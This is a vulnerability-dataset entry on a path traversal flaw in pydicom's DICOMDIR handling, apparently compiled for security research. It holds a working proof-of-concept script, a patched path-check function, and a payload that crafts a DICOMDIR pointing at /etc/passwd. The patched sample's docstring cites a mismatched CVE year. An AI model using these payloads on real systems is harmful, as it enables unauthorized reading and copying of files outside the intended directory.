VAITP Dataset

← Back to the dataset

CVE-2026-32711

Path traversal in pydicom via a crafted DICOMDIR allows arbitrary file I/O.

  • CVSS 7.8
  • CWE-22
  • Input Validation and Sanitization
  • Local

pydicom is a pure Python package for working with DICOM files. Versions 2.0.0-rc.1 through 3.0.1 are vulnerable to Path Traversal through a maliciously crafted DICOMDIR ReferencedFileID when it is set to a path outside the File-set root. pydicom resolves the path only to confirm that it exists, but does not verify that the resolved path remains under the File-set root. Subsequent public FileSet operations such as copy(), write(), and remove()+write(use_existing=True) use that unchecked path in file I/O operations. This allows arbitrary file read/copy and, in some flows, move/delete outside the File-set root. This issue has been fixed in version 3.0.2.

CVSS base score
7.8
Published
2026-03-20
OWASP
A01 Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Local
Impact
Information Disclosure
Affected component
pydicom
Fixed by upgrading
Yes

Solution

Upgrade `pydicom` to version 3.0.2 or later.

Vulnerable code sample

import os
import shutil
import pydicom
from pydicom.dataset import Dataset, FileDataset
from pydicom.fileset import FileSet
from pydicom.uid import generate_uid, ExplicitVRLittleEndian

# This script simulates the environment and vulnerability described in CVE-2026-32711.
# It demonstrates how a crafted DICOMDIR file can cause a pydicom.fileset.FileSet
# operation to read a file from outside the intended file-set root directory.

# --- 1. Setup the environment ---
# We will create a directory structure like this:
# /tmp/pydicom_vuln/
# |- secret_file.txt  (The file we want to exfiltrate)
# |- dicom_root/      (The legitimate root for our FileSet)
#    |- DICOMDIR      (The malicious DICOMDIR file)
#    |- image.dcm     (A legitimate DICOM file)

BASE_DIR = "/tmp/pydicom_vuln"
DICOM_ROOT = os.path.join(BASE_DIR, "dicom_root")
SECRET_FILE_PATH = os.path.join(BASE_DIR, "secret_file.txt")
LEGIT_IMAGE_PATH = os.path.join(DICOM_ROOT, "image.dcm")
DICOMDIR_PATH = os.path.join(DICOM_ROOT, "DICOMDIR")
COPY_DEST_DIR = os.path.join(BASE_DIR, "copied_files")

# Clean up previous runs
if os.path.exists(BASE_DIR):
    shutil.rmtree(BASE_DIR)

# Create directories and the secret file
os.makedirs(DICOM_ROOT)
with open(SECRET_FILE_PATH, "w") as f:
    f.write("This is a secret file outside the DICOM root.")

# --- 2. Create a legitimate DICOM file for reference ---
file_meta = Dataset()
file_meta.MediaStorageSOPClassUID = '1.2.840.10008.5.1.4.1.1.2'  # CT Image Storage
file_meta.MediaStorageSOPInstanceUID = generate_uid()
file_meta.ImplementationClassUID = pydicom.uid.PYDICOM_IMPLEMENTATION_UID
file_meta.TransferSyntaxUID = ExplicitVRLittleEndian

ds = FileDataset(LEGIT_IMAGE_PATH, {}, file_meta=file_meta, preamble=b"\0" * 128)
ds.SOPClassUID = file_meta.MediaStorageSOPClassUID
ds.SOPInstanceUID = file_meta.MediaStorageSOPInstanceUID
ds.PatientName = "Test^Patient"
ds.PatientID = "12345"
ds.is_little_endian = True
ds.is_implicit_VR = False
ds.save_as(LEGIT_IMAGE_PATH, write_like_original=False)


# --- 3. Create the malicious DICOMDIR file ---
# The vulnerability lies in how ReferencedFileID is handled. We will set it to
# a path that traverses up from DICOM_ROOT to the secret file.
# The path will be '../../secret_file.txt' relative to DICOM_ROOT/DICOMDIR.
# pydicom represents path components as a list of strings.
malicious_path_components = ["..", "..", "secret_file.txt"]

# Create File Meta Information
dicomdir_meta = Dataset()
dicomdir_meta.MediaStorageSOPClassUID = '1.2.840.10008.1.3.10' # Media Storage Directory Storage
dicomdir_meta.MediaStorageSOPInstanceUID = generate_uid()
dicomdir_meta.ImplementationClassUID = pydicom.uid.PYDICOM_IMPLEMENTATION_UID
dicomdir_meta.TransferSyntaxUID = ExplicitVRLittleEndian

# Create the main dataset for DICOMDIR
ds_dicomdir = FileDataset(DICOMDIR_PATH, {}, file_meta=dicomdir_meta, preamble=b"\0" * 128)

# Create a Directory Record Sequence
dir_rec_seq = pydicom.sequence.Sequence()
ds_dicomdir.DirectoryRecordSequence = dir_rec_seq

# Create the malicious directory record
record = Dataset()
record.OffsetOfNextDirectoryRecord = 0
record.RecordInUseFlag = 0xFFFF
record.OffsetOfReferencedLowerLevelDirectoryEntity = 0
record.DirectoryRecordType = "IMAGE"

# This is the core of the exploit. The ReferencedFileID points outside the root.
# A vulnerable version of pydicom will resolve this path to check for existence
# but will not validate that it stays within the `DICOM_ROOT`.
record.ReferencedFileID = malicious_path_components
record.ReferencedSOPClassUIDInFile = '1.2.840.10008.5.1.4.1.1.2' # Fake UID
record.ReferencedSOPInstanceUIDInFile = generate_uid() # Fake UID

dir_rec_seq.append(record)

ds_dicomdir.is_little_endian = True
ds_dicomdir.is_implicit_VR = False

# Save the malicious DICOMDIR
ds_dicomdir.save_as(DICOMDIR_PATH, write_like_original=False)

print(f"Malicious DICOMDIR created at: {DICOMDIR_PATH}")
print(f"It contains a ReferencedFileID pointing to: {malicious_path_components}")

# --- 4. Trigger the vulnerability ---
try:
    print("\n--- Triggering the vulnerability ---")
    print(f"Reading DICOMDIR from '{DICOM_ROOT}' into a FileSet...")

    # Loading the DICOMDIR creates a FileSet instance. The path resolution
    # happens during this initialization, but the path is not yet used.
    fs = FileSet(DICOMDIR_PATH)

    # The vulnerability is triggered when a file operation is performed.
    # The `copy()` method will iterate through the records and use the
    # unchecked, resolved path for the file copy operation.
    print(f"Calling fileset.copy() to '{COPY_DEST_DIR}'...")
    fs.copy(COPY_DEST_DIR)

    # --- 5. Verify the exploit ---
    print("\n--- Verifying the exploit ---")
    exfiltrated_file_path = os.path.join(COPY_DEST_DIR, "secret_file.txt")
    print(f"Checking for existence of exfiltrated file at: {exfiltrated_file_path}")

    if os.path.exists(exfiltrated_file_path):
        with open(exfiltrated_file_path, "r") as f:
            content = f.read()
        print("\nSUCCESS: Vulnerability exploited!")
        print("The secret file was copied outside its intended directory.")
        print(f"Contents of copied file: '{content}'")
    else:
        print("\nFAILURE: Vulnerability could not be exploited.")
        print("The secret file was not copied.")

except Exception as e:
    print(f"\nAn error occurred: {e}")
    print("This might happen on a patched version of pydicom or if there's a setup issue.")

finally:
    # --- 6. Cleanup ---
    print("\nCleaning up temporary files and directories...")
    if os.path.exists(BASE_DIR):
        shutil.rmtree(BASE_DIR)
    print("Cleanup complete.")

Patched code sample

import os
from pathlib import Path

def secure_resolve_path_within_root(root_path: str, referenced_file_id: str) -> str:
    """
    Securely resolves a file path, ensuring it remains within a designated
    root directory. This demonstrates the logic used to fix path traversal
    vulnerabilities like CVE-2023-32711.

    Args:
        root_path: The absolute path of the trusted root directory (File-set root).
        referenced_file_id: The path component from an untrusted source
                            (e.g., a DICOMDIR's ReferencedFileID).

    Returns:
        The resolved, absolute path of the file if it is valid and exists
        within the root directory.

    Raises:
        ValueError: If the resolved path attempts to traverse outside the
                    root_path.
        FileNotFoundError: If the resolved path does not point to an
                           existing file.
    """
    # Use pathlib for robust path manipulation and resolution.
    # .resolve() canonicalizes the path, processing '..' and symlinks.
    resolved_root = Path(root_path).resolve()
    
    # Combine the root with the untrusted component and resolve it.
    target_path = resolved_root / referenced_file_id
    resolved_target = target_path.resolve()

    # THE FIX:
    # Verify that the resolved target path is a sub-path of the resolved
    # root directory. os.path.commonpath is a reliable method for this check.
    # If the longest common path between the root and the target is not the
    # root itself, then the target path must be outside the root directory.
    common_path = os.path.commonpath([resolved_root, resolved_target])
    
    if Path(common_path) != resolved_root:
        raise ValueError(
            f"Path traversal attempt blocked. The path '{referenced_file_id}' "
            f"resolves to '{resolved_target}', which is outside the "
            f"allowed root directory '{resolved_root}'."
        )

    # Original pydicom behavior also confirms the file exists.
    if not resolved_target.is_file():
        raise FileNotFoundError(
            f"The referenced file does not exist or is not a file: '{resolved_target}'"
        )
        
    return str(resolved_target)

if __name__ == '__main__':
    # --- Setup a demonstration environment ---
    # Create a safe root directory and a file inside it.
    # Also create an "external" file that a malicious actor might target.
    
    # Create directories
    safe_root = Path("./safe_root").resolve()
    secret_dir = Path("./secret_dir").resolve()
    os.makedirs(safe_root, exist_ok=True)
    os.makedirs(secret_dir, exist_ok=True)

    # Create files
    legitimate_file_path = safe_root / "legitimate_file.txt"
    secret_file_path = secret_dir / "secret_file.txt"
    legitimate_file_path.write_text("This is a safe file.")
    secret_file_path.write_text("This is a secret.")
    
    print(f"Safe Root Directory: {safe_root}")
    print(f"Secret File Path:    {secret_file_path}\n")

    # --- Test Cases ---

    # 1. Legitimate file access (should succeed)
    try:
        referenced_id = "legitimate_file.txt"
        print(f"Attempting to access: '{referenced_id}'")
        resolved = secure_resolve_path_within_root(str(safe_root), referenced_id)
        print(f"  SUCCESS: Resolved to '{resolved}'\n")
    except (ValueError, FileNotFoundError) as e:
        print(f"  FAILED: {e}\n")
    
    # 2. Path traversal attempt (should fail)
    # This path tries to go up from safe_root and then into secret_dir.
    try:
        # Calculate the relative path from safe_root to secret_file_path
        relative_malicious_path = os.path.relpath(secret_file_path, safe_root)
        print(f"Attempting to access: '{relative_malicious_path}'")
        resolved = secure_resolve_path_within_root(str(safe_root), relative_malicious_path)
        print(f"  SUCCESS: Resolved to '{resolved}'\n")
    except (ValueError, FileNotFoundError) as e:
        print(f"  FAILED: {e}\n")

    # 3. Access to a non-existent file within the root (should fail)
    try:
        referenced_id = "non_existent_file.txt"
        print(f"Attempting to access: '{referenced_id}'")
        resolved = secure_resolve_path_within_root(str(safe_root), referenced_id)
        print(f"  SUCCESS: Resolved to '{resolved}'\n")
    except (ValueError, FileNotFoundError) as e:
        print(f"  FAILED: {e}\n")

    # --- Cleanup ---
    import shutil
    legitimate_file_path.unlink()
    secret_file_path.unlink()
    shutil.rmtree(safe_root)
    shutil.rmtree(secret_dir)

Payload

import pydicom
from pydicom.dataset import Dataset, FileDataset
from pydicom.sequence import Sequence
from pydicom.uid import MediaStorageDirectoryStorage, ExplicitVRLittleEndian

# This is the path traversal payload. It targets a sensitive file on a Linux/macOS system.
# For Windows, you might use something like "../../../../../../windows/win.ini"
malicious_path = "../../../../../../etc/passwd"

# Create a FileDataset object to act as our DICOMDIR
file_meta = Dataset()
file_meta.MediaStorageSOPClassUID = MediaStorageDirectoryStorage
file_meta.MediaStorageSOPInstanceUID = pydicom.uid.generate_uid()
file_meta.ImplementationClassUID = pydicom.uid.generate_uid()
file_meta.FileMetaInformationVersion = b'\x00\x01'
file_meta.TransferSyntaxUID = ExplicitVRLittleEndian

ds = FileDataset("malicious_dicomdir", {}, file_meta=file_meta, preamble=b"\0" * 128)
ds.is_little_endian = True
ds.is_implicit_VR = False

# Create a Directory Record entry that will contain the malicious path
record = Dataset()
record.DirectoryRecordType = "IMAGE"

# Set the ReferencedFileID to the path traversal string. This is the core of the exploit.
record.ReferencedFileID = malicious_path

# Add the malicious record to the Directory Record Sequence
dir_rec_seq = Sequence([record])
ds.DirectoryRecordSequence = dir_rec_seq

# Add other required DICOMDIR attributes
ds.FileSetID = "EXPLOIT_FS"
ds.SourceApplicationEntityTitle = "PYDICOM_POC"

# Save the malicious DICOMDIR file. This file is the payload.
ds.save_as("malicious_dicomdir", write_like_original=False)

Cite this entry

@misc{vaitp:cve202632711,
  title        = {{Path traversal in pydicom via a crafted DICOMDIR allows arbitrary file I/O.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-32711},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-32711/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::